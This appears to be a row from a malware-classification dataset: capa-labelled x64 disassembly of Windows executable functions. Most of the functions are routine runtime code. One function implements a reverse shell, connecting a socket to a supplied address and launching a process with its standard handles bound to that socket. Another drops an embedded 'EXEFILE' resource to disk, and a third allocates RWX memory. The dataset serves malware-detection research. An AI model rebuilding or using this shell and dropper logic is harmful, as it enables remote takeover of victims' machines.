joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110f0
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001b0c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400330f2]
call fcn.140011875
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001b117
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001b223
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001b1bc
cmp qword [rbp + 0x28], 0
jle 0x14001b1bc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001b15c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400117f8
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001b212
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001b212
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400114d3
Capabilities:
Terminate process

Disassembly:
jmp 0x14001dd20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400114e2
Capabilities:
Create process on windows

Disassembly:
jmp 0x140017250
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f8]
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400330f8]
call fcn.140011875
mov dword [rbp + 0x10], 0x68
lea rax, [rbp + 0x18]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x1a0]
call fcn.1400110e6
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14001733c
lea rdx, str.Failed_to_start_process:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001110e
mov rdx, qword [rbp + 0x1a0]
mov rcx, rax
call fcn.14001179e
lea rdx, [0x14001105a]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140017368
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, [0x1400266b0]
call fcn.140011717
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x140011604
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001e850
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001e870
xor al, al
jmp 0x14001e8f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001e883
xor al, al
jmp 0x14001e8f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001e8ad
xor al, al
jmp 0x14001e8f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001e8c1
xor al, al
jmp 0x14001e8f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001e8d3
xor al, al
jmp 0x14001e8f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001e8ef
xor al, al
jmp 0x14001e8f1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011857
Capabilities:
Write file on windows

Disassembly:
jmp 0x140017c90
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400330f2]
call fcn.140011875
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x140017cf6
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140017cfd
mov al, 1
jmp 0x140017e4d
call fcn.140011271
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.140011271
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.1400116c7
movzx eax, al
test eax, eax
je 0x140017d4e
xor al, al
jmp 0x140017e4d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140017db3
cmp dword [rbp + 0x154], 1
je 0x140017dbe
cmp dword [rbp + 0x154], 3
je 0x140017e3c
jmp 0x140017e4b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140017e0e
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140017e0e
xor al, al
jmp 0x140017e4d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140017e29
mov dword [rbp + 0x154], 1
jmp 0x140017e33
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140017e4d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140017e4d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400265f0]
call fcn.140011717
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140011866
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x1400173f0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2e8]
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x1400330f8]
call fcn.140011875
movzx eax, word [rbp + 0x2b0]
lea r8, str.EXEFILE
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140017466
xor al, al
jmp 0x14001753a
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140017484
xor al, al
jmp 0x14001753a
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x64], eax
cmp qword [rbp + 0x48], 0
je 0x1400174ae
cmp dword [rbp + 0x64], 0
jne 0x1400174b5
xor al, al
jmp 0x14001753a
mov edx, 0x108
lea rcx, [rbp + 0x90]
call fcn.140011361
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, qword [rbp + 0x2b8]
lea rcx, [rbp + 0x90]
call fcn.1400118a2
nop
mov eax, dword [rbp + 0x64]
mov r8d, eax
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rbp + 0x90]
movsxd rax, dword [rax + 4]
lea rax, [rbp + rax + 0x90]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
mov byte [rbp + 0x274], al
lea rcx, [rbp + 0x90]
call fcn.140011230
movzx eax, byte [rbp + 0x274]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140025f10]
call fcn.140011717
mov rax, rdi
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret
Function at 0x14000a7b8
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x140011008]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbp, rcx
mov rcx, qword [rdx]
mov rdi, rdx
mov ebx, 1
call fcn.14000910c
mov rsi, rax
cmp rax, qword [rdi]
je 0x14000a8e2
lea rax, [rsp + 0x240]
lea edx, [rbx + 7]
or r9d, 0xffffffff
mov r8, rbp
xor ecx, ecx
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14000a82d
call fcn.14000eea8
jmp 0x14000a8e7
cmp ebx, 0x1f4
jg 0x14000a8e2
lea r9, [rsp + 0x240]
lea r8, [0x1400039c0]
lea rcx, [rsp + 0x30]
mov edx, 0x104
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
call fcn.140004c20
inc ebx
test eax, eax
js 0x14000a876
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000a82d
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.14000f4dc
mov ebx, eax
test eax, eax
js 0x14000a8de
lea rcx, [rsp + 0x30]
call fcn.14000ad9c
mov ebx, eax
test eax, eax
js 0x14000a8de
mov rcx, qword [rdi]
lea rdx, [rsp + 0x30]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000a823
lea rcx, [rsp + 0x30]
call fcn.140009b4c
mov ebx, eax
test eax, eax
js 0x14000a8de
mov rcx, qword [rdi]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
lea rcx, [rsp + 0x30]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rdi], rax
mov eax, ebx
jmp 0x14000a8e7
mov eax, 0x80004005
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14000faa0
mov rbx, qword [rsp + 0x490]
add rsp, 0x460
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000b480
Capabilities:
Compare security identifiers

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x40
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
and qword [rax - 0x18], rbx
mov dword [rax - 0x20], 0x2000000
mov edx, 0x20000
mov dword [rax - 0x28], 3
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000b54a
and qword [rsp + 0x60], rbx
lea rdx, [rsp + 0x60]
lea rcx, [0x140003afc]
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x14000b541
and qword [rsp + 0x58], rbx
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.14000af20
test eax, eax
js 0x14000b50d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
sete bl
jmp 0x14000b526
cmp eax, 0x8007053c
jne 0x14000b526
mov rcx, rsi
call fcn.14000f090
mov ecx, 1
test eax, eax
cmovne ebx, ecx
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000b536
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14000bca8
Capabilities:
Create thread

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x50
and dword [rsp + 0x60], 0
xor eax, eax
mov qword [r11 - 0x28], rcx
and qword [r11 - 0x30], rax
and dword [rsp + 0x20], eax
mov qword [r11 - 0x18], rax
mov qword [r11 - 0x18], r8
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x20], rdx
lea r8, [0x14000bbc0]
lea r9, [r11 - 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x14000bd35
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x14000bd26
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov dword [rsp + 0x60], ecx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rsp + 0x60]
jmp 0x14000bd49
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov eax, ecx
add rsp, 0x50
pop rbx
ret

Function at 0x14000cce0
Capabilities:
Compare security identifiers

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r9
push rdi
sub rsp, 0x20
and qword [rax + 0x20], 0
lea rdx, [rax + 0x20]
mov rdi, r8
mov rbp, rcx
call fcn.14000ce14
test eax, eax
js 0x14000cd36
mov rdx, qword [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_EqualSid]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
je 0x14000cd36
xor ebx, ebx
jmp 0x14000cdf7
and qword [rsp + 0x48], 0
lea r8, [rsp + 0x48]
mov rcx, rdi
call fcn.14000cbec
mov ebx, eax
test eax, eax
js 0x14000cdf7
mov rsi, qword [rsp + 0x48]
mov ecx, 0x40
movzx edx, word [rsi + 2]
add rdx, 0x28
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x14000cde9
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x14000cdca
movzx edx, word [rsi + 2]
lea rcx, [rdi + 0x28]
mov r8, rsi
mov r9d, edx
call qword [sym.imp.msvcrt.dll_memcpy_s]
xor r9d, r9d
lea r8, [rdi + 0x28]
lea edx, [r9 + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
test eax, eax
je 0x14000cdca
mov r8, rdi
mov edx, 0x10
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
test eax, eax
je 0x14000cdca
xor ebx, ebx
jmp 0x14000cdde
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000cdee
mov ebx, 0x8007000e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000d490
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x14000d4be
xor al, al
jmp 0x14000d4fc
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x14000d4cf
xor al, al
jmp 0x14000d4fc
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x14000d4f6
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x14000d4f6
mov al, 1
jmp 0x14000d4fc
xor al, al
jmp 0x14000d4fc
add rsp, 0x50
pop rbx
ret

Function at 0x14000d56c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.14000f678
mov rdx, qword [rsp + 0x48]
xor edi, edi
test al, al
mov r8d, 0x2000
cmovne rdx, rdi
lea r9d, [rdi + 0x40]
mov rcx, rbx
mov qword [rsp + 0x48], rdx
add rdx, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14000d61d
mov rcx, qword [rsp + 0x48]
mov edx, 0x1000
lea r9d, [rdi + 0x40]
add rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000d608
cmp qword [rsp + 0x48], rdi
jbe 0x14000d620
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x38]
mov rcx, rax
mov r9d, 0x8000
call qword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
jmp 0x14000d620
mov rcx, qword [rsp + 0x38]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000d620
mov rbx, rdi
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000ebbc
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
sub rsp, 0x40
mov rbx, qword [rsp + 0x78]
mov rdi, rdx
test rbx, rbx
je 0x14000ebe5
mov eax, dword [rbx]
mov dword [rsp + 0x60], eax
jmp 0x14000ebea
and dword [rsp + 0x60], 0
mov rsi, qword [rsp + 0x70]
mov r8, rdx
mov r9d, 0x18
lea rdx, [0x1400039e0]
mov rcx, 0xffffffff80000001
test rbx, rbx
je 0x14000ec17
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
jmp 0x14000ec1d
and qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, eax
lea eax, [rax - 2]
cmp eax, 1
jbe 0x14000ec45
test rbx, rbx
je 0x14000ec74
mov eax, dword [rsp + 0x60]
mov dword [rbx], eax
jmp 0x14000ec74
mov qword [rsp + 0x30], rbx
lea rdx, [0x1400039e0]
mov r9d, 0x18
mov r8, rdi
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rsi
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov eax, ecx
add rsp, 0x40
pop rdi
ret

Function at 0x14000fac4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x14000fdbc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000fe08
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000fe00
cmp dword [rcx + 0x3c], edx
jl 0x14000fe00
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000fe00
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000fe08
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140011208
Capabilities:
Terminate process

Disassembly:
jmp 0x140013020
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011294
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014370
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014390
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400143a3
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400143cd
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400143e1
xor al, al
jmp 0x140014411
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400143f3
xor al, al
jmp 0x140014411
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001440f
xor al, al
jmp 0x140014411
mov al, 1
add rsp, 0x38
ret
Function at 0x140011401
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
jmp 0x140015cf0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4a8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xb6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4c8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x448], rax
lea rcx, [0x1400230f5]
call fcn.14001139d
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x1c8], rax
mov eax, 2
mov word [rbp + 0x1e8], ax
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x1ec], eax
movzx ecx, word [rbp + 0x478]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x1ea], ax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [rbp + 0x1e8]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x140015e0d
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140015ed3
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x220]
call fcn.1400112df
mov dword [rbp + 0x220], 0x68
mov dword [rbp + 0x25c], 0x100
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x280], rax
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x480]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ace0]
call fcn.14001132f
mov rax, rdi
